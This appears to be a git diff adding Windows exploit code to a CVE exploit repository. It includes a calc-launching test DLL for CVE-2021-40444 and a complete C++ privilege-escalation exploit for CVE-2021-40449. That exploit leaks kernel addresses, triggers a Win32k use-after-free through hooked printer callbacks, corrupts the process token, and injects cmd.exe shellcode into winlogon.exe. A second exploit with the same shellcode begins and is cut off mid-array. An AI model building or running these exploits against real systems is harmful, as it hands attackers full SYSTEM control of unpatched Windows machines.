+ + + + diff --git a/00-CVE_EXP/CVE-2021-40444/test/calc.c b/00-CVE_EXP/CVE-2021-40444/test/calc.c new file mode 100644 index 0000000..6dc92fa --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/test/calc.c @@ -0,0 +1,29 @@ +#include + +void exec(void) { + system("cmd /c calc"); + return; +} + +BOOL WINAPI DllMain( + HINSTANCE hinstDLL, + DWORD fdwReason, + LPVOID lpReserved ) +{ + switch( fdwReason ) + { + case DLL_PROCESS_ATTACH: + exec(); + break; + + case DLL_THREAD_ATTACH: + break; + + case DLL_THREAD_DETACH: + break; + + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/test/calc.dll b/00-CVE_EXP/CVE-2021-40444/test/calc.dll new file mode 100644 index 0000000..1052d17 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-40444/test/calc.dll differ diff --git a/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64.exe b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64.exe new file mode 100644 index 0000000..fc8fc92 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64.exe differ diff --git a/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.cpp b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.cpp new file mode 100644 index 0000000..660a2ad --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.cpp @@ -0,0 +1,650 @@ +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "ntdll.lib") +typedef bool(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pded); +typedef DHPDEV(*DrvEnablePDEV_t)(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver); +typedef void(*VoidFunc_t)(); +typedef NTSTATUS(*fnNtSetInformationThreadPtr)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength); + + +fnNtSetInformationThreadPtr NtSetInformationThread = nullptr; +#define SystemBigPoolInformation 0x42 +#define ThreadNameInformation 0x26 + +DWORD64 Fake_RtlBitMapAddr = 0; +DWORD64 GadgetAddr = 0; + +typedef struct +{ + DWORD64 Address; + DWORD64 PoolSize; + char PoolTag[4]; + char Padding[4]; +} BIG_POOL_INFO, *PBIG_POOL_INFO; +typedef struct _DriverHook +{ + ULONG index; + FARPROC func; +} DriverHook; + +DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver); + +DriverHook driverHooks[] = { + { INDEX_DrvEnablePDEV, (FARPROC)hook_DrvEnablePDEV }, +}; + +namespace globals +{ + LPSTR printerName; + HDC hdc; + int counter; + bool should_trigger; + bool ignore_callbacks; + VoidFunc_t origDrvFuncs[INDEX_LAST]; +} + +HPALETTE createPaletteofSize1(int size) { + int pal_cnt = (size - 0x90) / 4; + int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY); + LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize); + DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4); + memset(lPalette, 0xff, palsize); + + + p[0x15A-0x8-0x5] = GadgetAddr; + + p[0xE4 - 0x8-0x5] = Fake_RtlBitMapAddr; + + + lPalette->palNumEntries = pal_cnt; + lPalette->palVersion = 0x300; + return CreatePalette(lPalette); +} + + +DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) +{ + puts("[*] Hooked DrvEnablePDEV called"); + + DHPDEV res = ((DrvEnablePDEV_t)globals::origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver); + + // Check if we should trigger the vulnerability + if (globals::should_trigger == true) + { + // We only want to trigger the vulnerability once + globals::should_trigger = false; + + // Trigger vulnerability with second ResetDC. This will destroy the original + // device context, while we're still inside of the first ResetDC. This will + // result in a UAF + puts("[*] Triggering UAF with second ResetDC"); + HDC tmp_hdc = ResetDCA(globals::hdc, NULL); + puts("[*] Returned from second ResetDC"); + + // This is where we should reclaim the freed memory. For demonstration purposes + // we are just going to sleep for 30 seconds and hope that someone reclaims and + // corrupts the freed memory. Open a lot of windows or similar to make a lot of + // kernel allocations + + + for (int i = 0; i < 0x10000; i++) + { + + + createPaletteofSize1(0xe20); + } + + + + + //for (int i = 1; i < 31; i++) + //{ + // Sleep(1000); + // printf("[*] Counting down...: %d\n", 31 - i); + //} + + puts("[*] Get ready for DoS"); + //Sleep(1000); + } + + return res; +} + +bool SetupUsermodeCallbackHook() +{ + /* Find and hook a printer's usermode callbacks */ + DrvEnableDriver_t DrvEnableDriver; + VoidFunc_t DrvDisableDriver; + DWORD pcbNeeded, pcbReturned; + PRINTER_INFO_4A *pPrinterEnum, *printerInfo; + HANDLE hPrinter; + DRIVER_INFO_2A *driverInfo; + HMODULE hModule; + DRVENABLEDATA drvEnableData; + DWORD lpflOldProtect, _lpflOldProtect; + bool res; + + // Find available printers + EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned); + + if (pcbNeeded <= 0) + { + puts("[-] Failed to find any available printers"); + return false; + } + + pPrinterEnum = (PRINTER_INFO_4A *)malloc(pcbNeeded); + + if (pPrinterEnum == NULL) + { + puts("[-] Failed to allocate buffer for pPrinterEnum"); + return false; + } + + res = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned); + + if (res == false || pcbReturned <= 0) + { + puts("[-] Failed to enumerate printers"); + return false; + } + + // Loop over printers + for (DWORD i = 0; i < pcbReturned; i++) + { + printerInfo = &pPrinterEnum[0]; + + printf("[*] Using printer: %s\n", printerInfo->pPrinterName); + + // Open printer + res = OpenPrinterA(printerInfo->pPrinterName, &hPrinter, NULL); + if (!res) + { + puts("[-] Failed to open printer"); + continue; + } + + printf("[+] Opened printer: %s\n", printerInfo->pPrinterName); + globals::printerName = _strdup(printerInfo->pPrinterName); + + // Get the printer driver + GetPrinterDriverA(hPrinter, NULL, 2, NULL, 0, &pcbNeeded); + + driverInfo = (DRIVER_INFO_2A *)malloc(pcbNeeded); + + res = GetPrinterDriverA(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded); + + if (res == false) + { + printf("[-] Failed to get printer driver\n"); + continue; + } + + printf("[*] Driver DLL: %s\n", driverInfo->pDriverPath); + + // Load the printer driver into memory + hModule = LoadLibraryExA(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); + + if (hModule == NULL) + { + printf("[-] Failed to load printer driver\n"); + continue; + } + + // Get printer driver's DrvEnableDriver and DrvDisableDriver + DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver"); + DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver"); + + if (DrvEnableDriver == NULL || DrvDisableDriver == NULL) + { + printf("[-] Failed to get exported functions from driver\n"); + continue; + } + + // Call DrvEnableDriver to get the printer driver's usermode callback table + res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData); + + if (res == false) + { + printf("[-] Failed to enable driver\n"); + continue; + } + + puts("[+] Enabled printer driver"); + + // Unprotect the driver's usermode callback table, such that we can overwrite entries + res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect); + + if (res == false) + { + puts("[-] Failed to unprotect printer driver's usermode callback table"); + continue; + } + + // Loop over hooks + for (int i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++) + { + // Loop over driver's usermode callback table + for (DWORD n = 0; n < drvEnableData.c; n++) + { + ULONG iFunc = drvEnableData.pdrvfn[n].iFunc; + + // Check if hook INDEX matches entry INDEX + if (driverHooks[i].index == iFunc) + { + // Saved original function pointer + globals::origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn; + // Overwrite function pointer with hook function pointer + drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func; + break; + } + } + } + + // Disable driver + DrvDisableDriver(); + + // Restore protections for driver's usermode callback table + VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect); + + return true; + } + + return false; +} + + + +typedef struct _SYSTEM_MODULE_ENTRY_INFO +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} SYSTEM_MODULE_ENTRY_INFO, *PSYSTEM_MODULE_ENTRY_INFO; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG NumberOfModules; + SYSTEM_MODULE_ENTRY_INFO Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +#define SystemExtendedHandleInformation 64 +#define SystemHandleInformation 0x10 +#define SystemModuleInformation 0xb +DWORD64 GetModuleAddr(const char* modName) +{ + PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer); + + if (status == ((NTSTATUS)0xC0000004L))//STATUS_INFO_LENGTH_MISMATCH + { + free(buffer); + buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer); + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error\n"); + return 0; + } + + for (unsigned int i = 0; i < buffer->NumberOfModules; i++) + { + PVOID kernelImageBase = buffer->Modules[i].ImageBase; + PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName; + if (_stricmp(kernelImage, modName) == 0) + { + free(buffer); + return (DWORD64)kernelImageBase; + } + } + free(buffer); + return 0; +} +DWORD64 GetGadgetAddr(const char* name) +{ + DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe"); + HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + if (!mod) + { + printf("[-] leaking ntoskrnl version\n"); + return 0; + } + DWORD64 offset = (DWORD64)GetProcAddress(mod, name); + DWORD64 returnValue = base + offset - (DWORD64)mod; + //printf("[+] FunAddr: %p\n", (DWORD64)returnValue); + FreeLibrary(mod); + return returnValue; +} +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; +DWORD64 GetKernelPointer(HANDLE handle, DWORD type) +{ + PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); + + if (status == (NTSTATUS)0xC0000004L) + { + free(buffer); + buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer); + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error \n"); + return 0; + } + + for (size_t i = 0; i < buffer->NumberOfHandles; i++) + { + DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex; + + if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type) + { + if (handle == (HANDLE)buffer->Handles[i].HandleValue) + { + DWORD64 object = (DWORD64)buffer->Handles[i].Object; + free(buffer); + return object; + } + } + } + printf("[-] handle not found\n"); + free(buffer); + return 0; +} +LPVOID ntoskrnlBase = nullptr; +DWORD64 LeakEporcessKtoken() +{ + + LPVOID drivers[1024] = {}; + DWORD cbNeeded = NULL; + ntoskrnlBase = nullptr; + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) + { + if (drivers[0]) + { + ntoskrnlBase = drivers[0]; + printf("[-] ntoskrnlBase=%p\n", ntoskrnlBase); + } + } + else + { + printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID)); + } + + HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); + if (!proc) + { + printf("[-] OpenProcess failed\n"); + return 0; + } + + HANDLE token = 0; + if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token)) + { + printf("[-] OpenProcessToken failed\n"); + return 0; + } + + DWORD64 ktoken = 0; + for (int i = 0; i < 0x100; i++) + { + ktoken = GetKernelPointer(token, 0x5); + + if (ktoken != NULL) + { + break; + } + + } + return ktoken; +} +int fnExploit(int lpParameter) +{ + + + do + { + Sleep(0x500000); + + + } while (true); + + +} + +DWORD64 LeakTheadNamePoolAddr(DWORD64 ktoken) +{ + DWORD dwThreadID = 0; + + HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fnExploit, 0, 0, &dwThreadID); + + printf("[-] hTread==%p,dwThreadID==%d\n", hThread, dwThreadID); + + USHORT dwSize = 4096; + + LPVOID lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE); + + + memset(lpMessageToStore, 0x41, 0x20); + + //BitMapHeader->SizeOfBitMap + *(DWORD64*)lpMessageToStore = 0x80; + + //BitMapHeader->Buffer + *(DWORD64*)((DWORD64)lpMessageToStore + 8) = ktoken; + + UNICODE_STRING target = {}; + + + + target.Length = dwSize; + target.MaximumLength = 0xffff; + target.Buffer = (PWSTR)lpMessageToStore; + + + HRESULT hRes = NtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10); + + + DWORD dwBufSize = 1024 * 1024; + DWORD dwOutSize; + LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize); + + hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize); + + DWORD dwExpectedSize = target.Length + sizeof(UNICODE_STRING); + + ULONG_PTR StartAddress = (ULONG_PTR)pBuffer; + ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO); + ULONG_PTR ptr = StartAddress + 8; + while (ptr < EndAddress) + { + PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr; + //printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address); + if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize) + { + return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING); + } + ptr += sizeof(BIG_POOL_INFO); + } + + printf("[-] Lead Pool Addr Failed\n"); + + return NULL; +} +// run cmd.exe +unsigned char shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ +"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ +"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ +"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ +"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ +"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ +"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ +"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ +"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ +"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ +"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ +"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ +"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ +"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ +"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ +"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ +"\x78\x65\x00"; + +void InjectToWinlogon() +{ + PROCESSENTRY32 entry; + entry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + + int pid = -1; + if (Process32First(snapshot, &entry)) + { + while (Process32Next(snapshot, &entry)) + { + if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) + { + pid = entry.th32ProcessID; + break; + } + } + } + + CloseHandle(snapshot); + + if (pid < 0) + { + printf("Could not find process\n"); + return; + } + + HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (!h) + { + printf("Could not open process: %x", GetLastError()); + return; + } + + void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!buffer) + { + printf("[-] VirtualAllocEx failed\n"); + } + + if (!buffer) + { + printf("[-] remote allocation failed"); + return; + } + + if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0)) + { + printf("[-] WriteProcessMemory failed"); + return; + } + + HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0); + + if (hthread == INVALID_HANDLE_VALUE) + { + printf("[-] CreateRemoteThread failed"); + return; + } +} + + +int main() +{ + + NtSetInformationThread = (fnNtSetInformationThreadPtr)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationThread"); + + + if (NtSetInformationThread == NULL) + { + printf("[-] Getting NtSetInformationThread Failed\n"); + } + + + DWORD64 ktoken = LeakEporcessKtoken(); + + printf("[-] ktoken addr =%p\n", ktoken); + + GadgetAddr = GetGadgetAddr("RtlSetAllBits"); + + printf("[-] GadgetAddr addr =%p\n", GadgetAddr); + + + Fake_RtlBitMapAddr = LeakTheadNamePoolAddr(ktoken + 0x40); + + printf("[-] Fake_RtlBitMapAddr=%p\n", Fake_RtlBitMapAddr); + + + + bool res = false; + + // Setup hook for usermode callbacks on a printer + res = SetupUsermodeCallbackHook(); + + if (res == false) + { + printf("[-] Failed to setup usermode callback\n"); + } + + // Create new device context for printer with driver's hooked callbacks + globals::hdc = CreateDCA(NULL, globals::printerName, NULL, NULL); + if (globals::hdc == NULL) + { + puts("[-] Failed to create device context"); + return -1; + } + + // Trigger the vulnerability + // This will internally call `hdcOpenDCW` which will call our usermode callback + // From here we will call ResetDC again to trigger the UAF + globals::should_trigger = true; + ResetDC(globals::hdc, NULL); + + + printf("[-] InjectToWinlogon\n"); + + InjectToWinlogon(); + + + puts("[*] Done"); + + return 0; +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.sln b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.sln new file mode 100644 index 0000000..5273542 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31727.386 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-40449-x64", "CVE-2021-40449-x64.vcxproj", "{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x64.ActiveCfg = Debug|x64 + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x64.Build.0 = Debug|x64 + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x86.ActiveCfg = Debug|Win32 + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x86.Build.0 = Debug|Win32 + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x64.ActiveCfg = Release|x64 + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x64.Build.0 = Release|x64 + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x86.ActiveCfg = Release|Win32 + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {12A176C1-F90A-474F-8187-C589B10F6A2A} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj new file mode 100644 index 0000000..2e96235 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC} + Win32Proj + CVE202140449x64 + + + + Application + true + v120 + Unicode + + + Application + true + v120 + Unicode + + + Application + false + v120 + true + Unicode + + + Application + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + ntdll.lib;%(AdditionalDependencies) + + + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj.filters b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj.filters new file mode 100644 index 0000000..452b52e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj.user b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj.user new file mode 100644 index 0000000..ef5ff2a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CVE-2021-40449_1607_x64/CVE-2021-40449-x64.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40449/CallbackHell.exe b/00-CVE_EXP/CVE-2021-40449/CallbackHell.exe new file mode 100644 index 0000000..f34caf3 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-40449/CallbackHell.exe differ diff --git a/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell.sln b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell.sln new file mode 100644 index 0000000..c716c5f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31613.86 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CallbackHell", "CallbackHell\CallbackHell.vcxproj", "{6A40314B-695B-4B07-A5A8-5B640436A388}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x64.ActiveCfg = Debug|x64 + {6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x64.Build.0 = Debug|x64 + {6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x86.ActiveCfg = Debug|Win32 + {6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x86.Build.0 = Debug|Win32 + {6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x64.ActiveCfg = Release|x64 + {6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x64.Build.0 = Release|x64 + {6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x86.ActiveCfg = Release|Win32 + {6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {99AEE2A7-BD51-4AAF-9A55-1CE69B89CDCC} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.cpp b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.cpp new file mode 100644 index 0000000..934157c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.cpp @@ -0,0 +1,650 @@ +#pragma warning( disable : 4005 ) + +#include +#include +#include +#include +#include +#include + +// [Shellcode here] +// (Run cmd.exe) +unsigned char payload[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ +"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ +"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ +"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ +"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ +"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ +"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ 